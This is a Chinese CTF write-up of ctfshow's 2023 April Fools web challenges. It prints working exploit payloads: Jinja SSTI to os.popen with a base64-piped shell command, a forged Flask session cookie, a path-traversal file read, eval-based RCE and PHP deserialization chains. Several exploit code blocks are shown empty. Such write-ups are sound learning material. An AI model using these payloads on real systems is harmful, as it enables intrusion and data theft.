ctfshow2023愚人杯
ezssti
1 | from flask import Flask |
测试出来传参方式之后发现/
过滤了
然后我们就直接base64绕过吧
1 | url/hello/{{g.pop.__globals__.__builtins__['__import__']('os').popen('echo dGFjIC9mKg==|base64 -d|sh').read()}} |
easy_signin
url
里面参数很明显但是试了filter
协议和flag.php
都不行,那看看源码(访问/index.php
)
1 | https://b64cd330-9b26-4861-9b2c-67fa244be165.challenge.ctf.show/?img=aW5kZXgucGhw |
发现一个图片无法显示,查看源代码解码得到flag
easy_flask
1 | # app.py |
给了个密钥那肯定是要修改session为admin
1 | eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6IjEyMyJ9.ZrDMlg.Ekl2r4BVVam_XXf--rWyoaDaNHk |
有个一个开源脚本flask_session_cookie_manager3.py
可以直接修改flask的cookie值
1 | python3 flask_session_cookie_manager3.py decode -c 'eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6IjEyMyJ9.ZrDMlg.Ekl2r4BVVam_XXf--rWyoaDaNHk' -s 'S3cr3tK3y' |
伪造cookie之后,查看源代码发现有个任意文件读取漏洞
1 | https://5d9ac37c-eb1a-465c-b756-266b55182087.challenge.ctf.show/download/?filename=app.py |
1 | # app.py |
审计代码发现一个RCE
1 | https://5d9ac37c-eb1a-465c-b756-266b55182087.challenge.ctf.show/hello/?eval=__import__('os').popen('tac /f*').read() |
easy_php
一眼反序列化
1 |
|
这里的过滤是不允许Oa开头那么试试用+绕过
EXP:
1 |
|
无回显
那么再试试把O替换成C来绕过呢
1 | ?1%2b1>2=C:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";} |
还是没有回显
那么就要考虑用自带的类了
查看环境中的内置类
1 |
|
这里考虑使用ArrayObject
EXP:
1 |
|
上面的这些类只要能打出序列化字符串的都可以用(亲测)
最后传参即可打通
1 | url/?1%2b1>2O:11:"ArrayObject":3:{i:0;i:0;i:1;a:0:{}i:2;a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"tac /f*";}}} |
easy_class
一个pwn的溢出
1 |
|
1 | data=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaab%00system%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00tac%20/f* |
暗网聊天室
一个密码题这里借用师傅的脚本
1 | import re |
被遗忘的反序列化
1 |
|
传参方式首先是HTTP
头来传参,再者有个txt
文件需要读
1 | lcfirst() 是 PHP 中的一个字符串处理函数,它的作用是将给定字符串的第一个字符转换为小写。 |
审计代码,发现有个cipher
方法我们不知道,如果知道的话,传参就可以直接RCE了
其后发现本身写的类w_wuw_w
就可以读取文件
EXP1
1 |
|
思路在destruct方法中通过两次赋值获得文件内容
可以直接来了
EXP2
1 |
|
得到check.php
1 |
|
你猜我为什么没有读hint.txt
,是我不想读嘛,🙂
欧克,现在得到了cipher
方法了,位移为4 的一个加密算法,我们解密试试
1 | $new_pos = ($pos - $shift + strlen($charset)) % strlen($charset); |
EXP:
1 |
|
得到密文fe1ka1ele1efp
那么我们还是需要触发反序列化才可以RCE,前面提到需要把coos作为类来使用
1 |
|
1 | https://84175f19-1c8d-4c07-9706-ebce0977f416.challenge.ctf.show/?get=fe1ka1ele1efp |
- Title: ctfshow2023愚人杯
- Author: baozongwi
- Created at : 2024-08-08 17:32:43
- Updated at : 2024-10-10 08:34:48
- Link: https://baozongwi.xyz/2024/08/08/ctfshow2023愚人杯/
- License: This work is licensed under CC BY-NC-SA 4.0.
推荐阅读
Comments